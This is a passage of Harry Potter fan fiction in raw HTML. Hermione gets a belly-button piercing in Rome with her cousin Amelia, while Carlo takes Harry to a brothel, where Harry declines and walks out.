to?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Who do you think?&#8221; Hermione\nreplied in complete annoyance.&nbsp; And she\nturned to the fitting room door and opened it.&nbsp;\nShe and Harry stepped out into the shocked face of her cousin.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What was he doing in there?&#8221;\nAmelia asked wondering if her cousin had lost her mind.&nbsp; She knew what they must have been up to.&nbsp; Her cousin&#8217;s flushed face, the swollen lips,\nthe mussed up hair, the irritation in her voice.&nbsp; No matter how wild Amelia was she hasn&#8217;t\nengaged in something like sex in public.&nbsp;\n&#8220;I&#8217;m surprised at you Hermione.&#8221; She then gave off a smirk. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh please, spare me your\nlectures.&#8221; Hermione replied.&nbsp; &#8220;It&#8217;s not\nlike you haven&#8217;t done anything like that yourself.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Actually, I haven&#8217;t done anything\nlike that myself, yet.&#8221; Amelia grinned. &#8220;So are you going to get the outfit or\nnot?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shook her head, &#8220;no.&nbsp; It&#8217;s just not for me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay then, Hermione I want to\ntake you to do some shopping.&nbsp; Just us\ngals.&#8221;&nbsp; Amelia turned to Harry &#8220;You can\nget to know Carlo and do; oh I don&#8217;t know manly things.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh joy.&#8221; Harry said sarcastically\nas he rolled his eyes.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But Amelia, I don&#8217;t want&#8212;&#8221; She\nwas cut off by her cousin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, I won&#8217;t take no for an\nanswer we are going shopping and that&#8217;s final.&#8221; Amelia held her finger up as if\nshe were going to give a lecture.&nbsp; &#8220;Carlo\nand Harry can meet us back here in a few hours.&#8221;&nbsp; Amelia grabbed Hermione by the arm, not even\ngiving her cousin the chance to back out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sorry Harry, I&#8217;ll see you later.&#8221;\nHermione yelled out as she was being dragged away from him by her cousin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No problem Hermione.&#8221; Harry waved\nto her.&nbsp; He turned to Carlo who was\nsmirking.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh boy, this is going to be a\ntreat isn&#8217;t it.&#8221; Carlo said with smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, wonderful fun.&#8221;&nbsp; Harry sighed was dreading this already, he\nwatched as Amelia and Hermione passed by the window.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia brought Hermione to a\nnumber of department stores and next to a sweet shop where Hermione picked up\nsome cherry and vanilla swirled flavored hard candies to suck on, she also\nbought some tiny peanut butter cups for Harry.&nbsp;\nThey stopped before a shop where the name was written in Italian,\nHermione cursed herself for not remembering to take the translation pill.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come on Hermione, let&#8217;s go in\nhere.&#8221; Amelia was excited.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why, what is this place?&#8221;\nHermione said unsure of where they were going</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I need another piercing and I was\nthinking about getting a tattoo also.&#8221; Amelia said as she opened the door and\nstepped into the shop.&nbsp; Hermione\nhesitantly followed after her.&nbsp; The\nstudio reeked of rubbing alcohol.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Amelia, just how many piercings\ndo you have?&#8221; Hermione was very curious, for all up the sides of both ears were\nalready many piercings.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I always look to pierce\nsomething different.&nbsp; But let&#8217;s see I\nhave about ten on each ear.&#8221; Amelia started to say and point to all her\npiercings.&nbsp; She pointed to her tongue,\nher eyebrow, her nose.&nbsp; &#8220;I have both\nnipples pierced.&#8221; Amelia said pointing to her breasts &#8220;I also wear a dainty\ngold chain on my nip piercings that connect to by belly button ring.&nbsp; I have my&#8212;&#8221; She cut herself off and pointed\nbetween her thighs.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione cringed in horror. &#8220;Oh\nyou even have that pierced?&#8221; she felt sick.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh yeah, it makes everything\nextra sensitive.&#8221; Amelia boasted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Uh, I&#8217;ll take your word for it.&#8221;\nHermione said and they sat down on the red leather couch.&nbsp; Hermione opened her bag of sweets and pulled\nout a cherry/vanilla candy.&nbsp; She was\nabout to pop it into her mouth. &#8220;AHHH!!!&#8221; someone screamed and Hermione&#8217;s candy\nshot from her fingers as she was startled.&nbsp;\nShe watched as the candy flew across the room and hit a tiny mirror\nresting on the counter and shattered.&nbsp;\nHermione placed the bag of candy back into her backpack and closed it\nup.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia looked at her cousin, &#8220;are\nyou alright Cuz?&#8221; She laughed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why do you think that person\nscreamed?&#8221; Hermione asked as she saw her cousin shrug.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I really don&#8217;t know.&#8221; Amelia\nreplied with a smile.&nbsp; She rested her arm\non the back of the couch and turned half way facing Hermione. &#8220;You know I love getting\npiercings and now that I have a bit more time to think about it, I&#8217;ll probably\nget that tattoo as well.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Amelia, you are going to be so\nfull of holes and covered in colors no one is going to recognize you at family\nreunions.&#8221; Hermione replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey why don&#8217;t you get something\npierced or tattooed?&#8221; Amelia suggested.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shook her head, &#8220;My ears\nare already pierced you know. So no I don&#8217;t think so, I don&#8217;t need anything\nmore.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well why not? I think you would\nlook pretty snazzy with something pierced, other than your ears that is.&#8221;&nbsp; Amelia tilted her head to the side regarding\nher cousin.&nbsp; &#8220;It doesn&#8217;t even have to be\nsomething that big, it can be little.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It doesn&#8217;t have to be anything at\nall.&#8221; Hermione pointed out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh you are a shame to your\nmother&#8217;s side of the family, &#8220;We Steele women are suppose to be wild and\nuntamed, and you well you are just&#8212;&#8221; Amelia was cut off.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sorry to disappoint you Cuz.&#8221;\nHermione started, &#8220;But I am a Granger, not a Steele.&nbsp; I&#8217;m not as wild as you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I don&#8217;t know about that, I\nmean you were willing to get it on a dressing room. I say you&#8217;re plenty wild\nyou just haven&#8217;t found your Steele streak yet.&#8221; Amelia said and turned\nstraight.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shook her head and looked\nin the direction of the shattered mirror, out of the corner of her eye she saw\na girl come out of the back room looking down at something silver and shiny on\nher tummy.&nbsp; Hermione turned completely\nand watched as the young girl fingered her new ring.&nbsp; Sure she had seen belly button rings on television,\nsome American programs and teenage movies informed her of the interesting idea\nof piercing that part of the body.&nbsp; She\nhad always been fascinated by such things.&nbsp;\n&#8216;<i style="mso-bidi-font-style:normal">Hmm, maybe I should get one?&#8217;</i>&nbsp; She thought to herself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You want one Hermione?&#8221; Amelia\nsmirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Huh?&#8221; Hermione shook her head,\n&#8220;Want one what?&nbsp; I couldn&#8217;t possibly want\nanything.&#8221; She said leaning back against the cushion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You can get your belly button\npierced Hermione, my treat. Huh what do you say?&#8221; Amelia offered with a genuine\nsmile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed, &#8220;Will it hurt?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not going to lie to you\nHerms, yes it will hurt.&nbsp; But eventually\nthe pain goes away and you&#8217;re left with a beautiful piercing.&#8221;&nbsp; She watched her cousin, noticing that the young\nlady was really thinking about it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well, alright then.&nbsp; I&#8217;ll do it.&#8221;&nbsp;\nHermione sighed with defeat.&nbsp; She\nwas going to get one.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Wonderful!&#8221; Amelia&#8217;s voice\ntrimmed with excitement.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The two of them heard footsteps\ncoming from the back room, a man with long blonde hair smiled upon seeing\nthem.&nbsp; He spoke in a gentle voice,\nHermione couldn&#8217;t understand a word he was saying since he was speaking in\nItalian, but Amelia was laughing and acting coy around him.&nbsp; Hermione knew that Amelia was a big flirt no\nmatter who she was steadily seeing.&nbsp; The\nman then looked at Hermione and pointed to her, and Amelia nodded.&nbsp; He gave a signal with his fingers for both\ngirls to follow him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione glanced at Amelia as they\nsat in two chairs, &#8220;I wonder how Harry and Carlo are doing?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So Larry&#8212;&#8221; Carlo started</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry.&#8221; Harry corrected his name.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Whatever.&#8221; Carlo replied.&nbsp; &#8220;Well what do you think of Amelia?</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She&#8217;s nice.&#8221; Harry replied as the\ntwo of them walked towards a busy area of Rome.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just to let you know Amelia is\nmine so keep your grubby hands off.&#8221; Carlo threatened.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was confused, &#8220;Why would I\nbe going after your girl?&#8221; And not to mention really annoyed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Most people find Amelia oh what&#8217;s\nthe word. Hot, sexy. And I don&#8217;t want some other guy coming in and sweeping her\noff her feet.&#8221; Carlo started, &#8220;Besides you probably couldn&#8217;t anyway.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Like I would want to, I have a\ngirlfriend that I am very happy with.&#8221; Harry replied confidently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah yes, I&#8217;m thinking you are\nmeaning Hermione.&nbsp; That&#8217;s your\ngirlfriend.&#8221;&nbsp; Carlo&nbsp; &#8220;I wonder how you could ever snag her?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well for one Hermione and I were\ngood friends first.&#8221; Harry narrowed his eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh are you the fellow she goes to\nschool with, where is it you two go again?&#8221; Carlo scratched the back of his\nhead in thought.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s just a boarding school, but\nyes I go to school with her so I see her every day of her life.&#8221; Harry replied\nwith a smile he could have sword he saw Carlo give off some kind of scowl, but\nit was gone quickly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How fun for you Jerry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry.&#8221; Harry corrected, he was\ngetting downright annoyed.&nbsp; He glanced\nabout not really know all that much about Rome,\n&#8220;Where are we?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This is the manly part of Rome,\ndo you think you can handle it?&#8221; Carlo taunted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Handle what?&#8221; Harry asked looking\naround.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Being a man or are you still a\nlittle boy, not up to anything over the age of ten.&#8221; Carlo smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s eyes narrowed in anger and\nCarlo laughed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come on Gary.&#8221;&nbsp; Carlo opened the door to the building.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry.&#8221; Harry replied. As he\nfollowed Carlo inside.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry gasped as he looked around,\nthere were red satin furniture on a dark red carpet, the walls were painted a\nlovely pastel pink, heart shaped light fixtures rested about the walls.&nbsp; There were pretty ladies walking around, they\nwearing practically nothing and flirting with gentlemen.&nbsp; A loud cracking noise came from another room\nwith a pool table caught Harry&#8217;s attention Harry knew where he was taken and he\nturned to Carlo.&nbsp; &#8220;Why are we in here?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;To do manly things,&#8221; Carlo\nanswered with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This is a brothel,&#8221; Harry stated.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Boy, you are a smart one aren&#8217;t\nyou?&nbsp; What gave it away?&#8221; Carlo smirked\nas he was very sarcastic. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry rolled his eyes, &#8220;What are\nwe doing here, you have a girlfriend. I have one and I don&#8217;t think Hermione\nwill be too happy that I came in here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh Amelia understands that I have\na wandering appetite, but then so does she.&nbsp;\nWe two come here all the time, even sometimes together.&#8221;&nbsp; He was very smug.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I don&#8217;t have a wandering\nappetite.&#8221; Harry said repeating the same words Carlo used.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Too bad, there are such beautiful\nladies here.&#8221; Carlo pointed to a few who waved at him and giggled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes, imagine the diseases.&nbsp; That&#8217;s something I so what to have before my\nlife is over.&#8221; Harry replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Most of these gals are disease\nfree, come on let us just go and take a peak.&nbsp;\nAfter all I&#8217;m sure your sheltered life keeps you from enjoying\nanything.&nbsp; Like I was going to say before\nI got interrupted, you are probably still a virgin so you wouldn&#8217;t understand\nwhat I&#8217;m talking about.&#8221; Carlo insulted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry wanted to burst out into\nlaughter, but he kept it in.&nbsp; &#8220;You think\nwhat you want.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you going to be a man and\nlook around, or be a child and hide your eyes?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A black haired lady came up and\ndraped her arm over Harry&#8217;s shoulder and he turned to her with a polite\nsmile.&nbsp; Harry noticed that she was\nlooking at him sweetly, and it was true she was pretty.&nbsp; But he was happy with Hermione and no other\ngirl would take her place. He picked up the girls arm off his shoulder and\nshook his head.&nbsp; He knew she probably\ndidn&#8217;t speak English.&nbsp; &#8220;No thank you.&#8221;\nHarry replied slowly.&nbsp; He could see a bit\nof disappointment in her eyes as she removed her hand.&nbsp; She smiled and lightly ran her hand across\nhis cheek.&nbsp; She sighed and walked away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why did you pass her up, that&#8217;s\nDora people have to book weeks in advance for her.&nbsp; And she came up to you.&nbsp; What is wrong with you boy?&#8221; Carlo insulted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was angry he also felt a\nsharp pinch in his stomach.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;What in the world was that?&#8217; </i>he thought\nto himself.&nbsp; He shook the feeling off and\nsaw Carlo&#8217;s glare and remembered the insult he had just thrown at him. &#8220;Nothing\nis wrong with me; I have a girlfriend who I love. I&#8217;m not about to ruin what I\nalready have for just a few minutes of, that.&#8221;&nbsp;\nHe pointed towards the girls with his palm towards the ceiling.&nbsp; &#8220;You are pitiful, you have a wonderful lady\nyet you spend your time here.&#8221;&nbsp; Harry\nshook his head.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Only someone who is less of a man\nwould pass this up, so I think that you are the pitiful one.&#8221; Carlo replied\ntrying to cut Harry down.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m getting out of here.&#8221;&nbsp; Harry not taking anymore insults turned from\nCarlo and walked towards the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Carlo sighed and threw his arms up\nand followed after Harry. Amelia would have his head if he let this boy travel\naround Rome without a guide.&nbsp;&nbsp; Harry was already down the sidewalk by the\ntime Carlo caught up to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I hope you realize Terry&#8212;&#8221; He was\ninterrupted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look here, my name is Harry.&nbsp; Not Jerry, Larry, Gary, Terry or any other\nfricken name.&nbsp; It is Harry.&nbsp; Got it?&nbsp;\nOr is your brain to small to even grasp such a simple concept as\nremembering a name?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Whoa, whoa there.&nbsp; No need to get testy boy.&nbsp; I get it.&#8221; Carlo replied.&nbsp; &#8220;You even insulted me like Hermione did; you\nspend far too much time around that girl.&#8221; He shook his head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I really don&#8217;t mind spending my\ntime with Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione was mine for about a\nweek.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes I know, and now&#8221; He sighed,\nhe was going to make Carlo uncomfortable since he brought him to that brothel.\n&#8220;She loves me and I love her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Enough with the love talk,&#8221; Carlo\nfelt sick.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh fine,&#8221; Harry replied.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Carlo thought a moment, &#8220;What is\nshe like at school?&#8221; He asked Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well Hermione is kind and\nconsiderate, funny oh really smart.&nbsp; I&#8217;m\nsure she will be Head Girl.&nbsp;&nbsp; We have\nbeen best friends since we were eleven.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Which best friend were you?&nbsp; Were you the loud one, as she described to\nme?&#8221; Carlo asked searching Harry for an answer.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry chuckled a bit, &#8220;Loud one,\nno that would be Ron not me.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh so I know which one you were\nthen.&#8221;&nbsp; Carlo smirked, &#8220;You do know the reason\nHermione and I spent time together that week was because of&#8212;&#8221; He was\ninterrupted by Harry</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes, yes I know.&nbsp; You don&#8217;t have to tell me.&#8221; Harry said still\nregretting his own dense attitude back in fifth year.&nbsp; &#8220;But that doesn&#8217;t matter anymore, Hermione\nand I are together.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well good for you.&#8221; Carlo was\nsarcastic.&nbsp; &#8220;Too bad for you that I Carlo\nYuri had a chance at her first.&nbsp; You two\nprobably haven&#8217;t been close yet.&nbsp;\nHermione was always very stern about sex. She was always saying no.&#8221; His\nfists briefly clinched at his sides.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I don&#8217;t know about that,\nperhaps she was just waiting for the right person.&#8221; Harry said.&nbsp; &#8220;He really didn&#8217;t want to brag about Hermione\nand his relationship.&nbsp; But it was true\nall it took is the right person.&nbsp; Harry\nglanced about Carlo he looked a bit angry, but the look vanished.&nbsp; He just shrugged his shoulders thinking</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The two of them were walking along\nthe sidewalk back towards Amelia&#8217;s shop when Harry saw Hermione and Amelia\nwalking towards them from the opposite direction. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey Barry, let&#8217;s not mention that\nI brought you to a brothel alright?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry smirked, &#8220;Why not? I thought\nyou and Amelia went there all the time.&#8221; He was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Never you mind that boy, let&#8217;s\njust not mention it alright.&#8221;&nbsp; Carlo was\nangry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">There was no way Harry was keeping\nsomething like that from Hermione, she trusts him to always be honest 